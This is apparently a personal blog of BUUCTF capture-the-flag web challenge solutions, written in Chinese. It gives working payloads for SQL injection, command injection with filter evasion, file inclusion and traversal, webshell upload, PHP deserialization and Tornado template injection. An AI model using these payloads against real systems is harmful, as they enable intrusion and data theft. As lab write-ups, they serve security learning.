BUUCTF WEB做题记录

2024.12.2正式开启buuctf web题目,此文为记录,题目顺序可能是随意的~

直接万能密码1' or 1=1#

源代码最后发现

image.png

?cat=dog

image.png

源代码提示 source.php 进去看看是

image.png
查看 hint.php 发现 flag 在 ffffllllaaaagggg

分析一下 source.php 的代码

定义了一个名为emmm的类,在该类中有一个静态方法checkFile用于检查要包含的文件是否在白名单中,白名单是一个关联数组$whitelist,其中包含了允许包含的文件的键值对。在代码中,允许包含的文件有"source"=>“source.php"和"hint”=>“hint.php”

还要检查传入的$page参数是否为字符串类型,如果不是或者未设置,将输出"you can’t see it"并返回false

接下来,它检查传入的$page是否直接在白名单中存在,如果存在,返回true。

image.png

image.png

然后它会对$page参数进行一系列处理:首先使用mb_strpos找到$page中第一个问号的位置,然后使用mb_substr函数将问号之前的部分作为$_page进行处理。

注意:我们始终是在source.php页面下进行的传参操作,目的是利用include函数将flag文件包含出来,不要被这里的白名单搞混了。

让我们来分析一下传入这个东西后,php代码是如何进行判断的:

传入file=hint.php,首先检查’hint.php‘是否是一个字符串,它是字符串,条件通过;

检查’hint.php‘是否在白名单中(白名单包括hint.phpsource.php),在,继续执行后面的代码;

对’hint.php‘执行mb_substr函数,但是函数内一个参数是来自另一个函数mb_strpos的返回值,因此我们先看mb_strpos函数,使用.进行字符连接,即连接了一个问号字符 ‘?’,得到hint.php?

然后查找’?‘在字符串’hint.php?‘中第一次出现的位置,从0开始算,返回8,即length=8

接下来我们执行mb_substr函数,即 mb_substr('hint.php',0,8)

从字符串中的第一个字符处开始,返回8个字符,其实还是返回的hint.php

然后对返回的内容进行url解码,重复执行上面的检查和截取操作。

我们只需要传入一个在白名单内的文件名(source.php或者hint.php),并添加上问号,这样可以保证每次找去用于检查的内容都在白名单,返回true。

构造payload:

source.php?file=hint.php?/../../../../ffffllllaaaagggg

或者用

source.php?file=source.php?/../../../../ffffllllaaaagggg

直接文件包含 ?file=php://filter/read=convert.base64-encode/resource=flag.php

简单命令执行 1; cat /flag

打开题目只有一个/?ip=,随便输入1发现ping命令回显,那么后端很可能通过PHP接受了ip参数,并且拼接到了最终执行的命令中,形成了ping -c $ip,这样就可能存在一个命令注入漏洞

92160cbeb40697568b6070e2e406035a_MD5

直接输入?ip=1;ls发现有回显,说明存在命令注入漏洞

7517f362952ca8758c3b5a4d0f210383_MD5

直接读取?ip=1;tac flag.php发现空格被过滤,尝试替换空格

4edbcea4db1a36e0897410e3543ded96_MD5

%09代替空格,发现不让用,再尝试别的

522d67e8cd2ab18bcc0b759b02e887ae_MD5

$IFS$9,出现flag过滤,尝试各种绕过,发现都不行

da1fca12d8a6f3cd89da78b207615df4_MD5

好好好!这样是吧,那我看源码

2f599ec9f0bf911b925e6a8a30418edb_MD5

但是貌似不全,可能是因为其他原因导致,Ctrl+U看源码


/?ip=
<pre>PING 1 (0.0.0.1): 56 data bytes
?>

}
  print_r($a);
  echo "<pre>";
  $a = shell_exec("ping -c 4 ".$ip);
  }
    die("fxck your flag!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your space!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your symbol!");
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
  $ip = $_GET['ip'];
if(isset($_GET['ip'])){
<?php
/?ip=

payload:

?ip=1;a=g;tac$IFS$9fla$a.php

或者

?ip=1;a=f;d=ag;c=l;tac$IFS$9$a$c$d.php

a7e215670dbf95ec612c014bf932dd66_MD5

源码看到过滤了bash,就用sh

payload:

?ip=1;echo$IFS$9dGFjIGZsYWcucGhw|base64$IFS$9-d|sh

b8c63ea7f86684dae505d071ef06889e_MD5

直接将当前目录下所有文件全部tac出来

payload:

?ip=1;tac$IFS$9`ls`

f49e9afc082802d8d4e39775892031d1_MD5

fuzz一下,发现过滤挺多

image.png

这道题目需要我们去对后端语句进行猜测, 有点矛盾的地方在于其描述的功能和实际的功能似乎并不相符, 通过输入非零数字得到的回显1和输入其余字符得不到回显来判断出内部的查询语句可能存在有 ||, 也就是 select 输入的数据||内置的一个列名 from 表名, 进一步进行猜测即为 select post 进去的数据||flag from Flag (含有数据的表名, 通过堆叠注入可知), 需要注意的是, 此时的 || 起到的作用是 or 的作用.

sql = "select $_POST['query'] || flag from Flag";

看到 || 想到了之前命令执行的 payload

cmd1 || cmd2 # 如果 cmd1 正常执行就不会执行 cmd2

payload:*,1

拼接进内部语句就是

select *,1 || flag from Flag;

把语句分开看, 逗号前面是 *, 而逗号后面的 1 || flag 是一个整体, 这个整体返回的就是 true 这就类似于平常查表的时候执行 select name,age from students, 通过逗号来查询多个字段 为啥是 *,1 而不能是 1,*? 后者在 mysql 里执行会报错

* || flag 本身就是个错误的写法, 通配符无法表示真假性 最后再说一下, payload 的关键点在于 *, 而后面的数字不影响执行的结果, 改成其它值也是可以的

payload:1;set sql_mode=pipes_as_concat;select 1

这是在已经知道了 SQL 语句中含有 || 的前提下, 通过更改 mysql 的配置来改变 || 的功能 光看单词也很容易理解, 将 || 功能从逻辑运算符更改为拼接字符串

mysql> set sql_mode=pipes_as_concat;
Query OK, 0 rows affected (0.00 sec)

mysql> select 1||2||3||4||5;
+---------------+
| 1||2||3||4||5 |
+---------------+
| 12345         |
+---------------+
1 row in set (0.00 sec)

这样之后执行 select 1 || flag from Flag 的时候, 也会把 flag 显示出来 (拼接)

image.png
联合查询时发现过滤,用堆叠注入看看 1';show tables;
image.png
猜测在 1919810931114514 表中

1';show columns from `1919810931114514`;

果然发现 flag 字段

image.png

利用 handler 函数,这个函数可以在不知道字段名的前提下查询出字段的值

1';handler `1919810931114514` open as aaa;handler aaa read first;

其中的aaa为我们自己定义的名字,first为读第一行数据,与他并列的还有next(读取下一行)。

使用handler 读取数据 这个handler只能一行一行的读取使用read first、next、prev、last等函数去读取,用法为:

1.打开表 handler table_name open 
2.读取第一行 handler table_name read first或者(next) 
3.关闭表 handler table_name close

所以其实对于这道题也可以不取别名直接使用:

1';handler `1919810931114514` open;handler `1919810931114514` read next;
1';rename table words to words1;rename table flag_here to words;alter table words change flag id varchar(100);#

rename命令用于修改表名。
rename命令格式:rename table 原表名 to 新表名;

这道题select被过滤了,意味着这道题无法联合(union)注入,而它的内部查询语句为:

select id,data from word where id =

网页的回显都是words这个表给的回显,而我们的flag放在数字表里,那么我们需要让数字表回显出来flag了,这时直接堆叠注入只会有words表的回显,这里的解决办法便是把数字表改为words表名。

1.先对words进行改表名防止重名:rename table `words` to `word`;
2.将数字表改为words表名(在窗口回显内容):rename table `1919810931114514` to `words`;
3.我们查表结构时看到words里有两个字段id列和数据data,但数字表没有id,所以我们把flag换成id:alter table `words` change `flag` `id` varchar(100);

如果修改flag为id直接堆叠:

1';rename table `words` to `word`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);#

然后用万能密码即可显示出表里的所有数据,自然也包括flag了。

当然除了这种方法还可以使用预处理解决,如:

1'; Set @a=concat("sele","ct flag from `1919810931114514`");prepare h from @a;execute h;

预处理基于三个SQL语句:

PREPARE stmt_name FROM preparable_stmt;
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
{DEALLOCATE | DROP} PREPARE stmt_name;

PREPARE语句用于预备一个语句,并赋予它名称stmt_name,借此在以后引用该语句。语句名称对案例不敏感。preparable_stmt可以是一个文字字符串,也可以是一个包含了语句文本的用户变量。该文本必须展现一个单一的SQL语句,而不是多个语句。使用本语句,‘?’字符可以被用于制作参数,以指示当您执行查询时,数据值在哪里与查询结合在一起。‘?’字符不应加引号,即使您想要把它们与字符串值结合在一起,也不要加引号。参数制作符只能被用于数据值应该出现的地方,不用于SQL关键词和标识符等。

当然我们只用掌握它的运用即可,即:

Set @a='语句';prepare h from @a;execute h;
看字段数量
1' order by 3
判断回显位
1' union select 1,2,3#
看数据库
1' union select 1,2,group_concat(schema_name) from information_schema.schemata#
看表
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#
看字段
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
看数据
1' union select 1,2,group_concat(username,password) from geek.l0ve1ysq1#

一层层套娃,最后抓包得到 secr3t.php

image.png
?file=php://filter/read=convert.base64-encode/resource=flag.php

Referer UA X-Forwarded-For

image.png

后缀为黑名单过滤, 同时检测了文件头和文件内容

文件内容不能包含 <?, 使用 script 标签绕过

image.png
蚁剑链接

image.png
直接蚁剑一把梭

黑名单,后缀改为 phtml

image.png

过滤 or union select where from ,双写绕过

查找回显位
1' uunionnion sselectelect 1,2,3#
看数据库
1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#
看表
1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'#
看字段
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'#
看数据
1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#

www.zip 下载源码

index.php

image.png

class.php

image.png
反序列化绕过 __wakeup

<?php  
  
class Name{  
    private $username = 'admin';  
    private $password = '100';  
}  
  
//将属性值增大以绕过 __wakeup,并且因为private属性有不可见字符,所以将整串字符串进行urlencode  
echo urlencode(serialize(new Name()));

payload:

?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

下载 index.php.bak

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

弱类型比较 ?key=123

image.png
calc.php
image.png
根据 PHP字符串解析特性 绕过 WAF 只用将?num 改为 ?%20num 因为此处过滤\ 所以用chr(47)构造替代
image.png

看源码 pay.php

image.png

弱类型 提交 404aaa 之后提示 You must be a student from CUIT !!! Cookie 把 user=0 改成 user=1, post 再传入 money=100000000 然后提示数字太长了… 改成 money[]=100000000 就行

image.png

抓包返回头提示

image.png

password=md5($pass,true)绕过用ffifdyop

跳转到下一关 levels91.php

image.png
源代码
image.png

?a[]=1&b[]=2数组绕过 继续跳转任然数组绕过,顺手的事

image.png

附件在github上被删了看不了damn

先包含 .htaccess 在上传jpg图片

<IfModule mime_module>
AddType application/x-httpd-php .jpg
</IfModule>

image.png
每次上传后会给你设置一个 PHPSESSID, 如果你继续拿着这个 cookie 上传的话文件夹就不会变
image.png

url 格式如下

http://211ce077-6c56-419a-afb4-c599c568ac43.node4.buuoj.cn:81/file?filename=/flag.txt&filehash=0e24e12b6089646e7071af7883716075

flag.txt

flag in /fllllllllllllag

welcome.txt

render

hints.txt

md5(cookie_secret+md5(filename))

考点应该是 ssti, 我们需要找到 cookie_secret 的值, 然后和 /fllllllllllllag 拼接构造 filehash, 这样才能正常查看 flag 内容

filehash 随便改了改, 跳转到了报错页面

image.png
存在 ssti, 但过滤了很多, 只有 . 没有被过滤

在官方文档里搜了一下 cookie_secret https://tornado-zh.readthedocs.io/zh/latest/index.html

image.png

看起来好像是 tornado 内部的变量, 不是用户自定义的

想到了 flask 的 config, tornado 应该也有类似的变量

继续在文档里搜索 cookie_secret, 没搜到…

换个思路, 去 tornado 的源码里面搜, 发现了下面这一行

image.png
self.application.settings 有点可疑, 继续搜试试
image.png
往上拉找到这个方法对应的类
image.png
RequestHandler 类, 但是利用 ssti 查看 RequestHandler.settings 的内容会报错 然后又去文档里找了找
image.png
?msg={{handler.settings}}查看cookie_secret
image.png

from hashlib import md5  
  
cookie_secret = '7814c35a-045a-4741-8ff1-f225556aaf1b'  
filename = '/fllllllllllllag'  
  
# 计算 filename 的 MD5 哈希值  
filename_hash = md5(filename.encode()).hexdigest()  
  
# 计算最终的哈希值  
final_hash = md5((cookie_secret + filename_hash).encode()).hexdigest()  
  
print(final_hash)

image.png

将其拼接访问得到 flag ?filename=/fllllllllllllag&filehash=c2a394bf6029f32a7c9114f31201fe11

https://nexuzzz0-picture.oss-cn-hangzhou.aliyuncs.com/picture/202412041325650.png

用 php://filter 读文件

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

useless.php

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

生成序列化字符串

<?php  
  
class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file);  
            echo "<br>";  
            return ("U R SO CLOSE !///COME ON PLZ");  
        }  
    }  
}  
  
echo serialize(new Flag());
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
//

payload: ?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image.png

GET:?gg[]=1&id[]=2 POST:passwd=1234567a

image.png

牛魔的这么多全过滤了 用^替代 and 作为连接符 查看数据库名 1'^extractvalue(1,concat(0x7e,(database()),0x7e))%23

image.png

查看表名 1'or(updatexml(0,concat(0x5e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))),0))#

image.png
查看列名 1'or(updatexml(0,concat(0x5e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),0))#
image.png

查看值 1'or(updatexml(0,concat(0x5e,(select(group_concat(password))from(H4rDsq1))),0))#

image.png
 因为报错只能回显32位字符串,这里只回显了一部分的flag,接着用截断函数right查看身下的部分  1'or(updatexml(0,concat(0x5e,right((select(group_concat(password))from(H4rDsq1)),31)),0))#
image.png

相关内容